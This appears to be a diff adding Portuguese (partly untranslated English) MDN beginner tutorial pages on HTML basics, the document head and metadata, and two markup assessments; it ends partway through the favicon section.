+ +

O que é HTML?

+ +

{{glossary("HTML")}} (Linguagem de Marcação de Hipertexto) não é uma linguagem de programação; é uma linguagem de marcação utilizada para comunicar ao seu navegador como estruturar as páginas da Web que visita. Este pode ser tão complicado ou tão simples como o programador da Web o desejar. HTML consiste em uma série de  {{glossary("Element", "elementos")}}, que utiliza para incluir, ou marcar diferentes partes do conteúdo para que este apareça ou atue de uma determinada maneira. A inclusão de {{glossary("Tag", "etiquetas")}} pode tornar uma parte do conteúdo em uma hiperligação para interligar com outra página na Web, colocar as palavras em itálico, e assim por diante. Por exemplo, siga a seguinte linha de conteúdo:

+ +
My cat is very grumpy
+ +

Se quisermos que a linha esteja demarcada, podemos especificar que é um parágrafo, encerrando-a num elemento com tag de parágrafo ({{htmlelement("p")}}) :

+ +
<p>My cat is very grumpy</p>
+ +

Anatomia de um elemento HTML

+ +

Vamos explorar o nosso elemento parágrafo um pouco mais:

+ +

+ +

As partes principais do nosso elemento são:

+ +
    +
  1. A tag de abertura: Isto consiste no nome do elemento (neste caso, p), envolta por colchetes angulares de abertura ( < ) e fecho ( > ). Isto especifica onde o elemento começa, ou onde começa a ter efeito - neste caso, onde está o início do parágrafo.
  2. +
  3. A tag de fecho: Isto é o mesmo que a tag de abertura, só que inclui um traço ( \ ) antes do nome do elemento. Isto indica onde é que o elemento acaba - neste caso, onde é o fim do parágrafo. Esquecer-se de incluir uma tag de fecho é um erro comum de principiante e pode levar a resultados estranhos.
  4. +
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. +
  7. O elemento: A tag de abertura mais a tag de fecho mais o conteúdo é igual ao elemento.
  8. +
+ +

Aprendizagem ativa: criar o seu primeiro HTML

+ +

Edit the line below in the Input area by wrapping it with the tags <em> and </em> (put <em> before it to open the element, and </em> after it, to close the element) — this should give the line italic emphasis! You'll be able to see your changes update live in the Output area.

+ +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 300) }}

+ +

Nesting elements

+ +

You can put elements inside other elements too — this is called nesting. If we wanted to state that our cat is very grumpy, we could wrap the word "very" in a {{htmlelement("strong")}} element, which means that the word is to be strongly emphasized:

+ +
<p>My cat is <strong>very</strong> grumpy.</p>
+ +

You do however need to make sure that your elements are properly nested: in the example above we opened the p element first, then the strong element, therefore we have to close the strong element first, then the p. The following is incorrect:

+ +
<p>My cat is <strong>very grumpy.</p></strong>
+ +

The elements have to open and close correctly so they are clearly inside or outside one another. If they overlap like above, then your web browser will try to make a best guess at what you were trying to say, and you may well get unexpected results. So don't do it!

+ +

Block versus inline elements

+ +

There are two important categories of elements in HTML, which you should know about — block-level elements and inline elements.

+ + + +

Take the following example:

+ +
<em>first</em><em>second</em><em>third</em>
+
+<p>fourth</p><p>fifth</p><p>sixth</p>
+
+ +

{{htmlelement("em")}} is an inline element, so as you can see below, the first three elements sit on the same line as one another with no space in between. On the other hand, {{htmlelement("p")}} is a block-level element, so each element appears on a new line, with space above and below each (the spacing is due to default CSS styling that the browser applies to paragraphs).

+ +

{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200) }}

+ +
+

Nota: HTML5 redefined the element categories in HTML5: see Element content categories. While these definitions are more accurate and less ambiguous than the ones that went before, they are a lot more complicated to understand than "block" and "inline", so we will stick with these throughout this topic.

+
+ +
+

Nota: You can find useful reference pages that include lists of block and inline elements — see Block-level elements and Inline elements.

+
+ +

Elementos vazios

+ +

Not all elements follow the above pattern of opening tag, content, closing tag. Some elements consist only of a single tag, which is usually used to insert/embed something in the document at the place it is included. For example, the {{htmlelement("img")}} element embeds an image file onto a page in the position it is included in:

+ +
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png">
+ +

This would output the following on your page:

+ +

{{ EmbedLiveSample('Empty_elements', 700, 300) }}

+ +
+

Nota: Empty elements are also sometimes called void elements.

+
+ +

Atributos

+ +

Elements can also have attributes, which look like this:

+ +

&lt;p class="editor-note">My cat is very grumpy&lt;/p>

+ +

Attributes contain extra information about the element which you don't want to appear in the actual content. In this case, the class attribute allows you to give the element an identifying name that can be later used to target the element with style information and other things.

+ +

An attribute should have:

+ +
    +
  1. A space between it and the element name (or the previous attribute, if the element already has one or more attributes.)
  2. +
  3. The attribute name, followed by an equals sign.
  4. +
  5. An attribute value, with opening and closing quote marks wrapped around it.
  6. +
+ +

Aprendizagem ativa: Adicionar atributos a um elemento

+ +

Another example of an element is {{htmlelement("a")}} — this stands for anchor and will make the piece of text it wraps around into a hyperlink. This can take a number of attributes, but several are as follows:

+ + + +

Edit the line below in the Input area to turn it into a link to your favourite website. First, add the <a> element. Second, add the href attribute and the title attribute. Lastly, specify target attribute to open the link in the new tab. You'll be able to see your changes update live in the Output area. You should see a link that when hovered over displays the title attribute's content, and when clicked navigates to the web address in the href element. Remember that you need to include a space between the element name, and each attribute.

+ +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

+ + + +

{{ EmbedLiveSample('Playable_code2', 700, 300) }}

+ +

Atributos de booliano

+ +

You'll sometimes see attributes written without values — this is perfectly allowed. These are called boolean attributes, and they can only have one value, which is generally the same as the attribute name. As an example, take the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements if you want them to be disabled (greyed out) so the user can't enter any data in them.

+ +
<input type="text" disabled="disabled">
+ +

As shorthand, it is perfectly allowable to write this as follows (we've also included a non-disabled form input element for reference, to give you more of an idea what is going on):

+ +
<input type="text" disabled>
+
+<input type="text">
+
+ +

Both will give you an output as follows:

+ +

{{ EmbedLiveSample('Boolean_attributes', 700, 100) }}

+ +

Omitir aspas em volta de valores de atributo

+ +

When you look around the World Wide Web, you'll come across all kind of strange markup styles, including attribute values without quotes. This is allowable in certain circumstances, but will break your markup in others. For example, if we revisit our link example from earlier, we could write a basic version with only the href attribute, like this:

+ +
<a href=https://www.mozilla.org/>favourite website</a>
+ +

However, as soon as we add the title attribute in this style, things will go wrong:

+ +
<a href=https://www.mozilla.org/ title=The Mozilla homepage>favourite website</a>
+ +

At this point the browser will misinterpret your markup, thinking that the title attribute is actually three attributes — a title attribute with the value "The", and two boolean attributes, Mozilla and homepage. This is obviously not what was intended, and will cause errors or unexpected behaviour in the code, as seen in the live example below. Try hovering over the link to see what the title text is!

+ +

{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100) }}

+ +

Our advice is to always include the attribute quotes — it avoids such problems, and results in more readable code too.

+ +

Aspas simples ou duplas?

+ +

In this article you'll notice that the attributes are all wrapped in double quotes. You might however see single quotes in some people's HTML. This is purely a matter of style, and you can feel free to choose which one you prefer. Both the following lines are equivalent:

+ +
<a href="http://www.example.com">A link to my example.</a>
+
+<a href='http://www.example.com'>A link to my example.</a>
+ +

You should however make sure you don't mix them together. The following will go wrong!

+ +
<a href="http://www.example.com'>A link to my example.</a>
+ +

If you've used one type of quote in your HTML, you can include the other type of quote without causing any problems:

+ +
<a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
+ +

However if you want to include a quote within the quotes where both the quotes are of the same type(single quote or double quote), you'll have to use HTML entities for the quotes.

+ +

Anatomia de uma documento HTML

+ +

That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Now we'll look at how individual elements are combined to form an entire HTML page:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <p>This is my page</p>
+  </body>
+</html>
+ +

Here we have:

+ +
    +
  1. <!DOCTYPE html>: The doctype. In the mists of time, when HTML was young (about 1991/2), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML, which could mean automatic error checking and other useful things. They used to look something like this: + +
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    + However, these days no one really cares about them, and they are really just a historical artifact that needs to be included for everything to work right. <!DOCTYPE html> is the shortest string of characters that counts as a valid doctype; that's all you really need to know.
  2. +
  3. <html></html>: The {{htmlelement("html")}} element. This element wraps all the content on the entire page, and is sometimes known as the root element.
  4. +
  5. <head></head>: The {{htmlelement("head")}} element. This element acts as a container for all the stuff you want to include on the HTML page that isn't the content you are showing to your page's viewers. This includes things like keywords and a page description that you want to appear in search results, CSS to style our content, character set declarations, and more. You'll learn more about this in the next article in the series.
  6. +
  7. <meta charset="utf-8">: This element sets the character set your document should use to UTF-8, which includes most characters from the vast majority of human written languages. Essentially it can now handle any textual content you might put on it. There is no reason not to set this, and it can help avoid some problems later on.
  8. +
  9. <title></title>: The {{htmlelement("title")}} element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in, and is used to describe the page when you bookmark/favourite it.
  10. +
  11. <body></body>: The {{htmlelement("body")}} element. This contains all the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks, or whatever else.
  12. +
+ +

Aprendizagem ativa: Adicionar alguns recursos a um documento HTML

+ +

If you want to experiment with writing some HTML on your local computer, you can:

+ +
    +
  1. Copy the HTML page example listed above.
  2. +
  3. Create a new file in your text editor.
  4. +
  5. Paste the code into the new text file.
  6. +
  7. Save the file as index.html.
  8. +
+ +
+

Nota: You can also find this basic HTML template on the MDN Learning Area Github repo.

+
+ +

You can now open this file in a web browser to see what the rendered code looks like, and then edit the code and refresh the browser to see what the result is. Initially it will look like this:

+ +

A simple HTML page that says This is my pageSo in this exercise, you can edit the code locally on your computer, as outlined above, or you can edit it in the editable sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case.) We'd like you to have a go at implementing the following steps:

+ + + +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

+ + + +

{{ EmbedLiveSample('Playable_code3', 700, 600) }}

+ +

Espaço em branco em HTML

+ +

In the above examples you may have noticed that a lot of whitespace is included in the code listings — this is not necessary at all; the two following code snippets are equivalent:

+ +
<p>Dogs are silly.</p>
+
+<p>Dogs        are
+         silly.</p>
+ +

No matter how much whitespace you use (which can include space characters, but also line breaks), the HTML parser reduces each one down to a single space when rendering the code. So why use so much whitespace? The answer is readability — it is so much easier to understand what is going on in your code if you have it nicely formatted, and not just bunched up together in a big mess. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you what style of formatting you use (how many spaces for each level of indentation, for example), but you should consider using some kind of formatting.

+ +

Referências de entidade: incluindo carateres especiais em HTML

+ +

In HTML, the characters <, >,",' and & are special characters. They are parts of the HTML syntax itself, so how do you include one of these characters in your text, for example if you really want to use an ampersand or less than sign, and not have it interpreted as code as some browsers may do?

+ +

We have to use character references — special codes that represent characters, and can be used in these exact circumstances. Each character reference is started with an ampersand (&), and ended by a semi-colon (;).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caráter literalReferência de caráter equivalente
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
+ +

In the below example, you can see two paragraphs, which are talking about web technologies:

+ +
<p>In HTML, you define a paragraph using the <p> element.</p>
+
+<p>In HTML, you define a paragraph using the &lt;p&gt; element.</p>
+ +

In the live output below, you can see that the first paragraph has gone wrong, because the browser thinks that the second instance of <p> is starting a new paragraph. The second paragraph looks fine, because we have replaced the angle brackets with character references.

+ +

{{ EmbedLiveSample('Entity_references_including_special_characters_in_HTML', 700, 200) }}

+ +
+

Nota: A chart of all the available HTML character entity references can be found on Wikipedia: List of XML and HTML character entity references.

+
+ +

Comentários de HTML

+ +

In HTML, as with most programming languages, there is a mechanism available to write comments in the code — comments are ignored by the browser and invisible to the user, and their purpose is to allow you to include comments in the code to say how your code works, what the different parts of the code do, etc. This can be very useful if you return to a code base that you've not worked on for six months, and can't remember what you did — or if you hand your code over to someone else to work on.

+ +

To turn a section of content inside your HTML file into a comment, you need to wrap it in the special markers <!-- and -->, for example:

+ +
<p>I'm not inside a comment</p>
+
+<!-- <p>I am!</p> -->
+ +

As you can see below, the first paragraph appears in the live output, but the second one doesn't.

+ +

{{ EmbedLiveSample('HTML_comments', 700, 100) }}

+ +

Resumo

+ +

You've reached the end of the article — we hope you enjoyed your tour of the very basics of HTML! At this point you should understand what the language looks like, how it works at a basic level, and be able to write a few elements and attributes. This is a perfect place to be right now, as in subsequent articles in the module we will go into some of the things you have already looked at in a lot more detail, and introduce some new features of the language. Stay tuned!

+ +
+

Note: At this point, as you start to learn more about HTML, you might also want to start to explore the basics of Cascading Style Sheets, or CSS. CSS is the language you use to style your web pages (whether e.g. changing the font or colors, or altering the page layout). HTML and CSS go very well together, as you'll soon discover.

+
+ +

Consulte também

+ + + +
{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
+ +
+ + + + + +
diff --git a/files/pt-pt/learn/html/introduction_to_html/index.html b/files/pt-pt/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..6e2ac788fd --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/index.html @@ -0,0 +1,64 @@ +--- +title: Introdução ao HTML +slug: Learn/HTML/Introducao_ao_HTML +tags: + - CodingScripting + - Estrutura + - HTML + - Hiperligações + - Introdução ao HTML + - Texto + - head + - semántica +translation_of: Learn/HTML/Introduction_to_HTML +--- +
{{LearnSidebar}}
+ +

Na sua essência, {{glossary("HTML")}} é uma linguagem bastante simples, composta por elementos que podem ser aplicados em partes de texto para lhes dar um significado diferente num documento (É um parágrafo? Uma lista com marcas? É parte de uma tabela?), estruturar um documento em secções lógicas (Tem um cabeçalho? Três colunas de conteúdo? Um menu de navegação?) e incorporar conteúdo como imagens e vídeos numa página. Este módulo irá apresentar as duas primeiras aplicações e introduzir os conceitos e a sintaxe fundamentais que você precisa de saber para compreender HTML.

+ +

Pré-requisitos

+ +

Antes de começar este módulo, não precisa de ter qualquer conhecimento prévio de  HTML, mas deve pelo menos ter alguma familiaridade com utilização de computadores, e utilização passiva da Web (ou seja, apenas na perspectiva de consumidor e não de criação e publicação de conteúdos). Deverá ter um ambiente de trabalho básico configurado de acordo com as indicações que pode encontrar em Instalar software básico, e compreender como se criam e gerem ficheiros, como indicado na secção Lidar com ficheiros — estas duas secções fazem ambas parte do nosso módulo completo de iniciação em Primeiros passos na web.

+ +
+

Nota: Se está a trabalhar num computador, tablet ou outro dispositivo em que não tem possibilidade de criar ficheiros, pode testar a maioria dos exemplos de código num programa de edição de código online como o JSBin ou o Thimble.

+
+ +

Guias

+ +

Este módulo contém os seguintes artigos, os quais vão guiá-lo ao longo da teoria básica de HTML, e dar-lhe amplas oportunidades para experimentar o que aprendeu.

+ +
+
Começar com HTML
+
Para começar, cobrimos as bases absolutas do HTML — definir elementos, atributos e todos os termos importantes de que já ouviu falar, e como se encaixam na linguagem. Também mostramos a estrutura de um elemento HTML, a estrutura de uma página HTML típica e explicamos outras funcionalidades básicas mas importantes da linguagem. Ao longo do caminho, vamos brincar com algum HTML, para lhe despertar o interesse!
+
O que lhe vai no cabeçalho? Metadadados em HTML
+
O cabeçalho de um documento HTML é parte que não é mostrada no navegador quando a página é carregada. Contém informação como o título da página ({{htmlelement("title")}}), ligações para {{glossary("CSS")}} (se quiser estilizar o conteúdo HTML com CSS), ligações a ícones personalizados, e metadados (dados sobre HTML, por exemplo, quem o escreveu e palavras-chave importantes que descrevem o documento).
+
Fundamentos do texto HTML
+
Uma das principais funções do HTML é atribuir significado (semântica) ao texto, para que o navegador o apresente corretamente. Este artigo explora como utilizar HTML para repartir o bloco de texto em títulos e parágrafos, dar ênfase/importância a palavras, criar listas e mais.
+
Criar hiperligações
+
Hiperligações são muito importantes — são o que torna a internet na internet. Este artigo mostra a sintaxe necessária para criar uma ligação (um link), e discute boas práticas a ter quando se criam hiperligações.
+
Formatação avançada de texto
+
Há muitos outros elementos em HTML para formatar texto, que não vimos em Fundamentos do texto HTML. Estes elementos são menos conhecidos, mas é útil conhecê-los. Neste artigo aprenderá a demarcar citações, listas de descrições, código de computador e outro texto relacionado, texto sobre e por baixo da linha, informação de contactos e mais.
+
Estrutura do documento e do website
+
Além de definir partes individuais da página (como parágrafos e imagens), HTML também define secções do site (como cabeçalho, menu de navegação, coluna principal de conteúdo). Este artigo aborda como planear a estrutura básica de um site e como escrever HTML que represente essa estrutura.
+
Depurar HTML
+
É ótimo escrever HTML, mas como proceder se alguma coisa correr mal e não conseguir descobrir em que parte do código está o erro? Este artigo introduz algumas ferramentas que pode utilizar.
+
+ +

Avaliações

+ +

Estas avaliações testam o seu conhecimento das bases de HTML abrangidas nos guias suprarreferidos.

+ +
+
Demarcar uma carta
+
Todos aprendemos a escrever uma carta mais cedo ou mais tarde; e é um exemplo útil para testar as nossas capacidades de formatação de texto! Nesta avaliação, damos-lhe uma carta para demarcar.
+
Estruturar uma página de conteúdo
+
Esta avaliação testa a sua capacidade de recorrer a HTML para estruturar uma página de conteúdo simples, que contém cabeçalho, rodapé, menu de navegação, conteúdo principal e barra lateral.
+
+ +

Consultar também

+ +
+
Básicos de literacia da Web 1 (inglês)
+
Um curso excelente da fundação Mozilla que explora e testa muitas das habilidades faladas no módulo de Introdução ao HTML. Os principiantes familiarizam-se com a leitura, escrita e participação na Web neste módulo de seis partes. Descubra as fundações da Web através da produção e colaboração.
+
diff --git a/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html new file mode 100644 index 0000000000..0545b789e0 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -0,0 +1,104 @@ +--- +title: Demarcar uma carta +slug: Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta +tags: + - Avaliação + - HTML + - Ligações + - Principiante + - Texto +translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}
+ +

We all learn to write a letter sooner or later; it is also a useful example to test out our text formatting skills! In this assessment you'll be given a letter to mark up to test basic and advanced HTML text formatting skills, including hyperlinks, plus we'll test your familiarity with some HTML <head> contents.

+ + + + + + + + + + + + +
Prerequisites:Before attempting this assessment you should have already worked through Getting started with HTML, What's in the head? Metadata in HTML, HTML text fundamentals, Creating hyperlinks, and Advanced text formatting.
Objective:To test basic and advanced HTML text formatting and hyperlink skills, and knowledge of what goes in the HTML <head>.
+ +

Starting point

+ +

To get this assessment started, you should go and grab the raw text you need to mark up, and the CSS you need to include in your HTML. Create a new .html file using your text editor to do your work in (or alternatively use a site like JSBin or Thimble to do your assessment.)

+ +

Project brief

+ +

For this project, your task is to mark up a letter that needs to be hosted on a university intranet. The letter is a response from a research fellow to a prospective PhD student concerning their application to the university.

+ +

Block/structural semantics:

+ + + +

Inline semantics:

+ + + +

The head of the document:

+ + + +

Hints and tips

+ + + +

Example

+ +

The following screenshot shows an example of what the letter might look like after being marked up.

+ +

Example

+ +

Assessment

+ +

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html new file mode 100644 index 0000000000..1f6310a395 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html @@ -0,0 +1,107 @@ +--- +title: Estruturar uma página de conteúdo +slug: Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo +tags: + - Avaliação + - Estrutura + - HTML + - Principiante + - semántica +translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
+ +

Structuring a page of content ready for laying it out using CSS is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.

+ + + + + + + + + + + + +
Prerequisites:Before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on Document and website structure.
Objective:To test knowledge of web page structures, and how to represent a prospective layout design in markup.
+ +

Starting point

+ +

To get this assessment started, you should go and grab the zip file containing all the starting assets. The zip file contains:

+ + + +

Create the example on your local computer, or alternatively use a site like JSBin or Thimble to do your assessment.

+ +

Project brief

+ +

For this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. It needs to have:

+ + + +

You need to add a suitable wrapper for:

+ + + +

You should also:

+ + + +

Hints and tips

+ + + +

Example

+ +

The following screenshot shows an example of what the homepage might look like after being marked up.

+ +

The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message

+ +

Assessment

+ +

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

+ +

{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html new file mode 100644 index 0000000000..099166b821 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -0,0 +1,346 @@ +--- +title: O que está em "head"? Metadados em HTML +slug: Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML +tags: + - Guía + - HTML + - Idioma + - Meta + - Principiante + - head + - metadados +translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introducao_ao_HTML")}}
+ +

{{glossary("Head", "Head")}} de um documento HTML é a parte que não é exibida no navegador da Web quando a página é carregada. Este contém a informação, tais como o {{htmlelement("title", "título")}} da página, hiperligações para {{glossary("CSS")}} (se pretender estilizar o seu conteúdo HTML com CSS), hiperligações para favicons personalizados, e outros metadados (dados sobre o HTML, tais como quem o escreveu, e palavras-chave importantes que descrevem o documento.) Neste artigo nós iremos abranger todas as coisas acima e muito mais, para lhe dar bons conceitos básicos para lidar com a marcação e outro código que deverá estar no seu head.

+ + + + + + + + + + + + +
Pré-requisitos:Basic HTML familiarity, as covered in Getting started with HTML.
Objetivo:To learn about the HTML head, what its purpose is, the most important items it can contain, and what effect it can have on the HTML document.
+ +

O que é head no HTML?

+ +

Let's revisit the simple HTML document we covered in the previous article:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <p>This is my page</p>
+  </body>
+</html>
+ +

The HTML head is the contents of the {{htmlelement("head")}} element — unlike the contents of the {{htmlelement("body")}} element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. Instead, the head's job is to contain {{glossary("Metadata", "metadata")}} about the document. In the above example, the head is quite small:

+ +
<head>
+  <meta charset="utf-8">
+  <title>My test page</title>
+</head>
+ +

In larger pages however, the head can get quite full of items — try going to some of your favorite websites and using the developer tools to check out their head contents. Our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the most obvious things you'll want to include in the head, and give you some familiarity. Let's get started.

+ +

Adding a title

+ +

We've already seen the {{htmlelement("title")}} element in action — this can be used to add a title to the document. This however can get confused with the {{htmlelement("h1")}} element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. But they are different things!

+ + + +

Active learning: Inspecting a simple example

+ +
    +
  1. To start off this active learning, we'd like you to go to our GitHub repo and download a copy of our title-example.html page. To do this, either + +
      +
    1. Copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place.
    2. +
    3. Press the "Raw" button on the page, which causes the raw code to appear in a new browser tab. Next, from your browser's menu choose File > Save Page As... in your browser's menu then choose a place to save the file.
    4. +
    +
  2. +
  3. Now open the file in your browser. You should see something like this: +

    A simple web page with the title set to <title> element, and the <h1> set to <h1> element.It should now be completely obvious where the <h1> content appears, and where the <title> content appears!

    +
  4. +
  5. You should also try opening the code up in your code editor, editing the contents of these elements, then refreshing the page in your browser. Have some fun with it.
  6. +
+ +

The <title> element contents are also used in other ways. For example, if you try bookmarking the page (Bookmarks > Bookmark This Page or the star icon in the URL bar in Firefox), you will see the <title> contents filled in as the suggested bookmark name.

+ +

A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the <title> element

+ +

The <title> contents are also used in search results, as you'll see below.

+ +

Metadata: the <meta> element

+ +

Metadata is data that describes data, and HTML has an "official" way of adding metadata to a document — the {{htmlelement("meta")}} element. Of course, the other stuff we are talking about in this article could also be thought of as metadata too. There are a lot of different types of <meta> element that can be included in your page's <head>, but we won't try to explain them all at this stage, as it would just get too confusing. Instead, we'll explain a few things that you might commonly see, just to give you an idea.

+ +

Specifying your document's character encoding

+ +

In the example we saw above, this line was included:

+ +
<meta charset="utf-8">
+ +

This element simply specifies the document's character encoding — the character set that the document is permitted to use. utf-8 is a universal character set that includes pretty much any character from any human language. This means that your web page will be able to handle displaying any language; it's therefore a good idea to set this on every web page you create! For example, your page could handle English and Japanese just fine:

+ +

a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine,If you set your character encoding to ISO-8859-1, for example (the character set for the Latin alphabet), your page rendering would be all messed up:

+ +

a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly

+ +

Active learning: Experiment with character encoding

+ +

To try this out, revisit the simple HTML template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to ISO-8859-1, and add the Japanese to your page. This is the code we used:

+ +
<p>Japanese example: ご飯が熱い。</p>
+ +

Adding an author and description

+ +

Many <meta> elements include name and content attributes:

+ + + +

Two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. Let's look at an example:

+ +
<meta name="author" content="Chris Mills">
+<meta name="description" content="The MDN Learning Area aims to provide
+complete beginners to the Web with all they need to know to get
+started with developing web sites and applications.">
+ +

Specifying an author is useful in a few ways: it is useful to be able to work out who wrote the page, if you want to contact them with questions about the content. Some content management systems have facilities to automatically extract page author information and make it available for such purposes.

+ +

Specifying a description that includes keywords relating to the content of your page is useful as it has the potential to make your page appear higher in relevant searches performed in search engines (such activities are termed Search Engine Optimization, or {{glossary("SEO")}}.)

+ +

Active learning: The description's use in search engines

+ +

The description is also used on search engine result pages. Let's go through an exercise to explore this

+ +
    +
  1. Go to the front page of The Mozilla Developer Network.
  2. +
  3. View the page's source (Right/Ctrl + click on the page, choose View Page Source from the context menu.)
  4. +
  5. Find the description meta tag. It will look like this: +
    <meta name="description" content="The Mozilla Developer Network (MDN) provides
    +information about Open Web technologies including HTML, CSS, and APIs for both
    +Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
    +
  6. +
  7. Now search for "Mozilla Developer Network" in your favorite search engine (We used Yahoo.) You'll notice the description <meta> and <title> element content used in the search result — definitely worth having! +

    A Yahoo search result for "Mozilla Developer Network"

    +
  8. +
+ +
+

Note: In Google, you will see some relevant subpages of MDN listed below the main MDN homepage link — these are called sitelinks, and are configurable in Google's webmaster tools — a way to make your site's search results better in the Google search engine.

+
+ +
+

Note: Many <meta> features just aren't used any more. For example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spammers were just filling the keyword list with hundreds of keywords, biasing results.

+
+ +

Other types of metadata

+ +

As you travel around the web, you'll find other types of metadata, too. A lot of the features you'll see on websites are proprietary creations, designed to provide certain sites (such as social networking sites) with specific pieces of information they can use.

+ +

For example, Open Graph Data is a metadata protocol that Facebook invented to provide richer metadata for websites. In the MDN sourcecode, you'll find this:

+ +
<meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png">
+<meta property="og:description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both Web sites
+and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
+<meta property="og:title" content="Mozilla Developer Network">
+ +

One effect of this is that when you link to MDN on facebook, the link appears along with an image and description: a richer experience for users.

+ +

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter also has its own similar proprietary metadata, which has a similar effect when the site's URL is displayed on twitter.com. For example:

+ +
<meta name="twitter:title" content="Mozilla Developer Network">
+ +

Adding custom icons to your site

+ +

To further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts.

+ +

The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. You'll see favicons displayed in the browser tab containing each open page, and next to bookmarked pages in the bookmarks panel.

+ +

A favicon can be added to your page by:

+ +
    +
  1. Saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ICO format will ensure it works as far back as Internet Explorer 6.)
  2. +
  3. Adding the following line into your HTML <head> to reference it: +
